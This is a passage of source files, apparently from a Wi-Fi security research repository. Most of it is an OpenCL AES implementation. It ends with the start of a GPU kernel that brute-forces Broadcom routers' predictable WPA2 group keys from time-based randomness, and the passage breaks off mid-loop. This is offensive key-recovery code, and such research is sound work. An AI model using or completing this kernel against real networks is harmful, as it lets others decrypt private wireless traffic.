0x99ddbbeeU, 0x7f60fda3U, 575 | 0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU, 576 | 0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U, 577 | 0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U, 578 | 0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U, 579 | 0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 0xc1e3d077U, 580 | 0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U, 581 | 0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U, 582 | 0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U, 583 | 0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU, 584 | 0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U, 585 | 0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U, 586 | 0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU, 587 | 0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU, 588 | 0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U, 589 | 0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU, 590 | 0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U, 591 | 0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U, 592 | 0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U, 593 | 0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U, 594 | 0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U, 595 | 0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U, 596 | 0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU, 597 | 0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU, 598 | 0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU, 599 | 0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU, 600 | 0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U, 601 | 0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U, 602 | 0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U, 603 | 0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU, 604 | 0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U, 605 | 0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U, 606 | }; 607 | __constant u8 Td4[256] = { 608 | 0x52U, 0x09U, 0x6aU, 0xd5U, 0x30U, 0x36U, 0xa5U, 0x38U, 609 | 0xbfU, 0x40U, 0xa3U, 0x9eU, 0x81U, 0xf3U, 0xd7U, 0xfbU, 610 | 0x7cU, 0xe3U, 0x39U, 0x82U, 0x9bU, 0x2fU, 0xffU, 0x87U, 611 | 0x34U, 0x8eU, 0x43U, 0x44U, 0xc4U, 0xdeU, 0xe9U, 0xcbU, 612 | 0x54U, 0x7bU, 0x94U, 0x32U, 0xa6U, 0xc2U, 0x23U, 0x3dU, 613 | 0xeeU, 0x4cU, 0x95U, 0x0bU, 0x42U, 0xfaU, 0xc3U, 0x4eU, 614 | 0x08U, 0x2eU, 0xa1U, 0x66U, 0x28U, 0xd9U, 0x24U, 0xb2U, 615 | 0x76U, 0x5bU, 0xa2U, 0x49U, 0x6dU, 0x8bU, 0xd1U, 0x25U, 616 | 0x72U, 0xf8U, 0xf6U, 0x64U, 0x86U, 0x68U, 0x98U, 0x16U, 617 | 0xd4U, 0xa4U, 0x5cU, 0xccU, 0x5dU, 0x65U, 0xb6U, 0x92U, 618 | 0x6cU, 0x70U, 0x48U, 0x50U, 0xfdU, 0xedU, 0xb9U, 0xdaU, 619 | 0x5eU, 0x15U, 0x46U, 0x57U, 0xa7U, 0x8dU, 0x9dU, 0x84U, 620 | 0x90U, 0xd8U, 0xabU, 0x00U, 0x8cU, 0xbcU, 0xd3U, 0x0aU, 621 | 0xf7U, 0xe4U, 0x58U, 0x05U, 0xb8U, 0xb3U, 0x45U, 0x06U, 622 | 0xd0U, 0x2cU, 0x1eU, 0x8fU, 0xcaU, 0x3fU, 0x0fU, 0x02U, 623 | 0xc1U, 0xafU, 0xbdU, 0x03U, 0x01U, 0x13U, 0x8aU, 0x6bU, 624 | 0x3aU, 0x91U, 0x11U, 0x41U, 0x4fU, 0x67U, 0xdcU, 0xeaU, 625 | 0x97U, 0xf2U, 0xcfU, 0xceU, 0xf0U, 0xb4U, 0xe6U, 0x73U, 626 | 0x96U, 0xacU, 0x74U, 0x22U, 0xe7U, 0xadU, 0x35U, 0x85U, 627 | 0xe2U, 0xf9U, 0x37U, 0xe8U, 0x1cU, 0x75U, 0xdfU, 0x6eU, 628 | 0x47U, 0xf1U, 0x1aU, 0x71U, 0x1dU, 0x29U, 0xc5U, 0x89U, 629 | 0x6fU, 0xb7U, 0x62U, 0x0eU, 0xaaU, 0x18U, 0xbeU, 0x1bU, 630 | 0xfcU, 0x56U, 0x3eU, 0x4bU, 0xc6U, 0xd2U, 0x79U, 0x20U, 631 | 0x9aU, 0xdbU, 0xc0U, 0xfeU, 0x78U, 0xcdU, 0x5aU, 0xf4U, 632 | 0x1fU, 0xddU, 0xa8U, 0x33U, 0x88U, 0x07U, 0xc7U, 0x31U, 633 | 0xb1U, 0x12U, 0x10U, 0x59U, 0x27U, 0x80U, 0xecU, 0x5fU, 634 | 0x60U, 0x51U, 0x7fU, 0xa9U, 0x19U, 0xb5U, 0x4aU, 0x0dU, 635 | 0x2dU, 0xe5U, 0x7aU, 0x9fU, 0x93U, 0xc9U, 0x9cU, 0xefU, 636 | 0xa0U, 0xe0U, 0x3bU, 0x4dU, 0xaeU, 0x2aU, 0xf5U, 0xb0U, 637 | 0xc8U, 0xebU, 0xbbU, 0x3cU, 0x83U, 0x53U, 0x99U, 0x61U, 638 | 0x17U, 0x2bU, 0x04U, 0x7eU, 0xbaU, 0x77U, 0xd6U, 0x26U, 639 | 0xe1U, 0x69U, 0x14U, 0x63U, 0x55U, 0x21U, 0x0cU, 0x7dU, 640 | }; 641 | __constant u32 rcon[] = { 642 | 0x01000000, 0x02000000, 0x04000000, 0x08000000, 643 | 0x10000000, 0x20000000, 0x40000000, 0x80000000, 644 | 0x1B000000, 0x36000000, /* for 128-bit blocks, Rijndael never uses more than 10 rcon values */ 645 | }; 646 | 647 | 648 | /** 649 | * Expand the cipher key into the encryption key schedule. 650 | */ 651 | void AES_set_encrypt_key(__private uint *userKey, private AES_KEY *key) 652 | { 653 | u32 *rk; 654 | int i = 0; 655 | u32 temp; 656 | 657 | rk = key->rd_key; 658 | key->rounds = 10; 659 | 660 | // First round key is the key itself 661 | rk[0] = userKey[0]; 662 | rk[1] = userKey[1]; 663 | rk[2] = userKey[2]; 664 | rk[3] = userKey[3]; 665 | 666 | // All other round keys are found from the previous round keys. 667 | #pragma unroll 668 | for (int i = 0; i < 10; ++i) { 669 | temp = rk[3]; 670 | rk[4] = rk[0] ^ 671 | (Te2[(temp >> 16) & 0xff] & 0xff000000) ^ 672 | (Te3[(temp >> 8) & 0xff] & 0x00ff0000) ^ 673 | (Te0[(temp ) & 0xff] & 0x0000ff00) ^ 674 | (Te1[(temp >> 24) ] & 0x000000ff) ^ 675 | rcon[i]; 676 | rk[5] = rk[1] ^ rk[4]; 677 | rk[6] = rk[2] ^ rk[5]; 678 | rk[7] = rk[3] ^ rk[6]; 679 | rk += 4; 680 | } 681 | } 682 | 683 | 684 | /** 685 | * Expand the cipher key into the decryption key schedule. 686 | */ 687 | void AES_set_decrypt_key(__private uint *userKey, private AES_KEY *key) 688 | { 689 | u32 *rk; 690 | int i, j, status; 691 | u32 temp; 692 | 693 | /* first, start with an encryption schedule */ 694 | AES_set_encrypt_key(userKey, key); 695 | 696 | rk = key->rd_key; 697 | 698 | /* invert the order of the round keys: */ 699 | for (i = 0, j = 4*(key->rounds); i < j; i += 4, j -= 4) { 700 | temp = rk[i ]; rk[i ] = rk[j ]; rk[j ] = temp; 701 | temp = rk[i + 1]; rk[i + 1] = rk[j + 1]; rk[j + 1] = temp; 702 | temp = rk[i + 2]; rk[i + 2] = rk[j + 2]; rk[j + 2] = temp; 703 | temp = rk[i + 3]; rk[i + 3] = rk[j + 3]; rk[j + 3] = temp; 704 | } 705 | /* apply the inverse MixColumn transform to all round keys but the first and the last: */ 706 | for (i = 1; i < (key->rounds); i++) { 707 | rk += 4; 708 | rk[0] = 709 | Td0[Te1[(rk[0] >> 24) ] & 0xff] ^ 710 | Td1[Te1[(rk[0] >> 16) & 0xff] & 0xff] ^ 711 | Td2[Te1[(rk[0] >> 8) & 0xff] & 0xff] ^ 712 | Td3[Te1[(rk[0] ) & 0xff] & 0xff]; 713 | rk[1] = 714 | Td0[Te1[(rk[1] >> 24) ] & 0xff] ^ 715 | Td1[Te1[(rk[1] >> 16) & 0xff] & 0xff] ^ 716 | Td2[Te1[(rk[1] >> 8) & 0xff] & 0xff] ^ 717 | Td3[Te1[(rk[1] ) & 0xff] & 0xff]; 718 | rk[2] = 719 | Td0[Te1[(rk[2] >> 24) ] & 0xff] ^ 720 | Td1[Te1[(rk[2] >> 16) & 0xff] & 0xff] ^ 721 | Td2[Te1[(rk[2] >> 8) & 0xff] & 0xff] ^ 722 | Td3[Te1[(rk[2] ) & 0xff] & 0xff]; 723 | rk[3] = 724 | Td0[Te1[(rk[3] >> 24) ] & 0xff] ^ 725 | Td1[Te1[(rk[3] >> 16) & 0xff] & 0xff] ^ 726 | Td2[Te1[(rk[3] >> 8) & 0xff] & 0xff] ^ 727 | Td3[Te1[(rk[3] ) & 0xff] & 0xff]; 728 | } 729 | } 730 | 731 | 732 | /* 733 | * Encrypt a single block 734 | * in and out can overlap 735 | */ 736 | void AES_encrypt(__private uint *in, __private uint *out, __private AES_KEY *key) 737 | { 738 | const u32 *rk; 739 | u32 s0, s1, s2, s3, t0, t1, t2, t3; 740 | 741 | rk = key->rd_key; 742 | 743 | // Copy input block to private variables, and add the first round 744 | // key to the state before starting the rounds. 745 | s0 = SWAP32(in[0]) ^ rk[0]; 746 | s1 = SWAP32(in[1]) ^ rk[1]; 747 | s2 = SWAP32(in[2]) ^ rk[2]; 748 | s3 = SWAP32(in[3]) ^ rk[3]; 749 | 750 | /* round 1: */ 751 | t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[ 4]; 752 | t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[ 5]; 753 | t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[ 6]; 754 | t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[ 7]; 755 | /* round 2: */ 756 | s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[ 8]; 757 | s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[ 9]; 758 | s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[10]; 759 | s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[11]; 760 | /* round 3: */ 761 | t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[12]; 762 | t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[13]; 763 | t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[14]; 764 | t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[15]; 765 | /* round 4: */ 766 | s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[16]; 767 | s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[17]; 768 | s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[18]; 769 | s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[19]; 770 | /* round 5: */ 771 | t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[20]; 772 | t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[21]; 773 | t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[22]; 774 | t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[23]; 775 | /* round 6: */ 776 | s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[24]; 777 | s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[25]; 778 | s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[26]; 779 | s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[27]; 780 | /* round 7: */ 781 | t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[28]; 782 | t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[29]; 783 | t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[30]; 784 | t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[31]; 785 | /* round 8: */ 786 | s0 = Te0[t0 >> 24] ^ Te1[(t1 >> 16) & 0xff] ^ Te2[(t2 >> 8) & 0xff] ^ Te3[t3 & 0xff] ^ rk[32]; 787 | s1 = Te0[t1 >> 24] ^ Te1[(t2 >> 16) & 0xff] ^ Te2[(t3 >> 8) & 0xff] ^ Te3[t0 & 0xff] ^ rk[33]; 788 | s2 = Te0[t2 >> 24] ^ Te1[(t3 >> 16) & 0xff] ^ Te2[(t0 >> 8) & 0xff] ^ Te3[t1 & 0xff] ^ rk[34]; 789 | s3 = Te0[t3 >> 24] ^ Te1[(t0 >> 16) & 0xff] ^ Te2[(t1 >> 8) & 0xff] ^ Te3[t2 & 0xff] ^ rk[35]; 790 | /* round 9: */ 791 | t0 = Te0[s0 >> 24] ^ Te1[(s1 >> 16) & 0xff] ^ Te2[(s2 >> 8) & 0xff] ^ Te3[s3 & 0xff] ^ rk[36]; 792 | t1 = Te0[s1 >> 24] ^ Te1[(s2 >> 16) & 0xff] ^ Te2[(s3 >> 8) & 0xff] ^ Te3[s0 & 0xff] ^ rk[37]; 793 | t2 = Te0[s2 >> 24] ^ Te1[(s3 >> 16) & 0xff] ^ Te2[(s0 >> 8) & 0xff] ^ Te3[s1 & 0xff] ^ rk[38]; 794 | t3 = Te0[s3 >> 24] ^ Te1[(s0 >> 16) & 0xff] ^ Te2[(s1 >> 8) & 0xff] ^ Te3[s2 & 0xff] ^ rk[39]; 795 | 796 | rk += key->rounds << 2; 797 | 798 | /* 799 | * apply last round and 800 | * map cipher state to byte array block: 801 | */ 802 | s0 = 803 | (Te4[(t0 >> 24) ] & 0xff000000) ^ 804 | (Te4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ 805 | (Te4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ 806 | (Te4[(t3 ) & 0xff] & 0x000000ff) ^ 807 | rk[0]; 808 | out[0] = SWAP32(s0); 809 | s1 = 810 | (Te4[(t1 >> 24) ] & 0xff000000) ^ 811 | (Te4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ 812 | (Te4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ 813 | (Te4[(t0 ) & 0xff] & 0x000000ff) ^ 814 | rk[1]; 815 | out[1] = SWAP32(s1); 816 | s2 = 817 | (Te4[(t2 >> 24) ] & 0xff000000) ^ 818 | (Te4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ 819 | (Te4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ 820 | (Te4[(t1 ) & 0xff] & 0x000000ff) ^ 821 | rk[2]; 822 | out[2] = SWAP32(s2); 823 | s3 = 824 | (Te4[(t3 >> 24) ] & 0xff000000) ^ 825 | (Te4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ 826 | (Te4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ 827 | (Te4[(t2 ) & 0xff] & 0x000000ff) ^ 828 | rk[3]; 829 | out[3] = SWAP32(s3); 830 | } 831 | 832 | 833 | /* 834 | * Decrypt a single block 835 | * in and out can overlap 836 | */ 837 | void AES_decrypt(__private uint *in, __private uint *out, __private AES_KEY *key) 838 | { 839 | const u32 *rk; 840 | u32 s0, s1, s2, s3, t0, t1, t2, t3; 841 | 842 | rk = key->rd_key; 843 | 844 | /* 845 | * map byte array block to cipher state 846 | * and add initial round key: 847 | */ 848 | s0 = SWAP32(in[0]) ^ rk[0]; 849 | s1 = SWAP32(in[1]) ^ rk[1]; 850 | s2 = SWAP32(in[2]) ^ rk[2]; 851 | s3 = SWAP32(in[3]) ^ rk[3]; 852 | 853 | /* round 1: */ 854 | t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[ 4]; 855 | t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[ 5]; 856 | t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[ 6]; 857 | t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[ 7]; 858 | /* round 2: */ 859 | s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[ 8]; 860 | s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[ 9]; 861 | s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[10]; 862 | s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[11]; 863 | /* round 3: */ 864 | t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[12]; 865 | t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[13]; 866 | t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[14]; 867 | t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[15]; 868 | /* round 4: */ 869 | s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[16]; 870 | s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[17]; 871 | s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[18]; 872 | s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[19]; 873 | /* round 5: */ 874 | t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[20]; 875 | t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[21]; 876 | t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[22]; 877 | t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[23]; 878 | /* round 6: */ 879 | s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[24]; 880 | s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[25]; 881 | s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[26]; 882 | s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[27]; 883 | /* round 7: */ 884 | t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[28]; 885 | t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[29]; 886 | t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[30]; 887 | t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[31]; 888 | /* round 8: */ 889 | s0 = Td0[t0 >> 24] ^ Td1[(t3 >> 16) & 0xff] ^ Td2[(t2 >> 8) & 0xff] ^ Td3[t1 & 0xff] ^ rk[32]; 890 | s1 = Td0[t1 >> 24] ^ Td1[(t0 >> 16) & 0xff] ^ Td2[(t3 >> 8) & 0xff] ^ Td3[t2 & 0xff] ^ rk[33]; 891 | s2 = Td0[t2 >> 24] ^ Td1[(t1 >> 16) & 0xff] ^ Td2[(t0 >> 8) & 0xff] ^ Td3[t3 & 0xff] ^ rk[34]; 892 | s3 = Td0[t3 >> 24] ^ Td1[(t2 >> 16) & 0xff] ^ Td2[(t1 >> 8) & 0xff] ^ Td3[t0 & 0xff] ^ rk[35]; 893 | /* round 9: */ 894 | t0 = Td0[s0 >> 24] ^ Td1[(s3 >> 16) & 0xff] ^ Td2[(s2 >> 8) & 0xff] ^ Td3[s1 & 0xff] ^ rk[36]; 895 | t1 = Td0[s1 >> 24] ^ Td1[(s0 >> 16) & 0xff] ^ Td2[(s3 >> 8) & 0xff] ^ Td3[s2 & 0xff] ^ rk[37]; 896 | t2 = Td0[s2 >> 24] ^ Td1[(s1 >> 16) & 0xff] ^ Td2[(s0 >> 8) & 0xff] ^ Td3[s3 & 0xff] ^ rk[38]; 897 | t3 = Td0[s3 >> 24] ^ Td1[(s2 >> 16) & 0xff] ^ Td2[(s1 >> 8) & 0xff] ^ Td3[s0 & 0xff] ^ rk[39]; 898 | 899 | rk += key->rounds << 2; 900 | 901 | /* 902 | * apply last round and 903 | * map cipher state to byte array block: 904 | */ 905 | s0 = 906 | (Td4[(t0 >> 24) ] << 24) ^ 907 | (Td4[(t3 >> 16) & 0xff] << 16) ^ 908 | (Td4[(t2 >> 8) & 0xff] << 8) ^ 909 | (Td4[(t1 ) & 0xff]) ^ 910 | rk[0]; 911 | out[0] = SWAP32(s0); 912 | s1 = 913 | (Td4[(t1 >> 24) ] << 24) ^ 914 | (Td4[(t0 >> 16) & 0xff] << 16) ^ 915 | (Td4[(t3 >> 8) & 0xff] << 8) ^ 916 | (Td4[(t2 ) & 0xff]) ^ 917 | rk[1]; 918 | out[1] = SWAP32(s1); 919 | s2 = 920 | (Td4[(t2 >> 24) ] << 24) ^ 921 | (Td4[(t1 >> 16) & 0xff] << 16) ^ 922 | (Td4[(t0 >> 8) & 0xff] << 8) ^ 923 | (Td4[(t3 ) & 0xff]) ^ 924 | rk[2]; 925 | out[2] = SWAP32(s2); 926 | s3 = 927 | (Td4[(t3 >> 24) ] << 24) ^ 928 | (Td4[(t2 >> 16) & 0xff] << 16) ^ 929 | (Td4[(t1 >> 8) & 0xff] << 8) ^ 930 | (Td4[(t0 ) & 0xff]) ^ 931 | rk[3]; 932 | out[3] = SWAP32(s3); 933 | } 934 | 935 | -------------------------------------------------------------------------------- /broadkey/opencl/broadcom.cl: -------------------------------------------------------------------------------- 1 | /* 2 | * This software is Copyright (c) 2016 Mathy Vanhoef and it is hereby released 3 | * to the general public under the following terms: Redistribution and use in 4 | * source and binary forms, with or without modification, are permitted. 5 | * 6 | * TODO: Speed up execution of AES 7 | */ 8 | #include "util.cl" 9 | #include "md5_kernel.cl" 10 | #include "ieeeprf.cl" 11 | #include "AESOpenCL.cl" 12 | 13 | #define RANDVAL1 0x6B8B4567 14 | #define RANDVAL2 0x327B23C6 15 | #define GMK_SECS 0x%(SECONDS)08X 16 | #define GMK_USECS 0x%(MICROSECONDS)08X 17 | 18 | 19 | /** 20 | * WARNING: The search space can be at most one second when using this code (which should be sufficient) 21 | */ 22 | #define SET_TIME(W, usecs, overflow, seconds, microseconds, delta, randval) \ 23 | do { \ 24 | usecs = microseconds + delta; \ 25 | overflow = usecs >= 1000000; \ 26 | W[0] = (seconds + overflow) ^ randval; \ 27 | W[1] = (usecs - overflow * 1000000); \ 28 | } while(0) 29 | 30 | 31 | __kernel void search_gtk(__global uint *dst) 32 | { 33 | unsigned int boot_time_delta = get_global_id(0); 34 | // data contians `MAC address || GNONCE` and is filled in by the CPU 35 | uint data[10] = {%(DATA)s}; 36 | uint W[16] = {}; 37 | uint gmk[8] = {}; 38 | uint gtk[8] = {}; 39 | // Variables to test decryption with GTK 40 | uint nonce[4] = {0x%(NONCE1)08X, 0x%(NONCE2)08X, 0x%(NONCE3)08X, 0x%(NONCE4)08X}; 41 | uint xorpad[4]; 42 | AES_KEY key; 43 | // Used by SET_TIME macro 44 | uint temp1, temp2; 45 | 46 | // 47 | // Step 1. Perform the first nas_rand128 call, current time based on passed work id 48 | // 49 | 50 | // First rand128 call - md5 expects W in little endian 51 | SET_TIME(W, temp1, temp2, GMK_SECS, GMK_USECS, boot_time_delta, RANDVAL1); 52 | W[4] = 0x80; 53 | W[14] = 16 << 3; 54 | md5_hash(gmk , W); 55 | 56 | // 57 | // Step 2. Go over all possibilities for the second nas_rand128 call. 58 | // 59 | 60 | // On max 3600 MHz the difference is less than 50 us. On the 200 MHz processor of the WRT54gv5 this 61 | // means a difference of 50*18 = 900. Against Ralink one jiffy would be 4 miliseconds. 62 | // --> The second call always finishes within 4 miliseconds, probably even with 1 or 2 miliseconds. 63 | for (int i = 0; i < 4000; ++i) 64 | { 65 | // 